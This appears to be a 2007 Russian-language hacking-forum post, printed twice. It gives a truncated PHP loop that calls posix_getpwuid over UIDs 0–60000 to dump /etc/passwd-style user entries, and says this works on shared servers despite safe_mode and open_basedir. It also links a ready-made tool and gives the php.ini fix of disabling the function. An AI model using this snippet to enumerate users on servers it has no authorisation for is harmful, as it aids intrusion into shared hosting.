Muhacir
14.05.2007, 11:59
вот увидел функсию posix_getpwuid и подумав решил вот так
for($uid=0;$uid<60000;$uid++){
$ara = posix_getpwuid($uid); //тут читаем "/etc/passwd"
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
и сработало выложил в php файл. залил на крупный сервант и пашеееет. в safe_mod=on & open_basedir.
Tyt можно готовый взять: www.muhacir.info/tools/somsa.txt
++
чтобы прикрыть баг нужно в php.ini disabled_funcitions добавить строку posix_getpwuid
for($uid=0;$uid<60000;$uid++){
$ara = posix_getpwuid($uid); //тут читаем "/etc/passwd"
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
и сработало выложил в php файл. залил на крупный сервант и пашеееет. в safe_mod=on & open_basedir.
Tyt можно готовый взять: www.muhacir.info/tools/somsa.txt
++
чтобы прикрыть баг нужно в php.ini disabled_funcitions добавить строку posix_getpwuid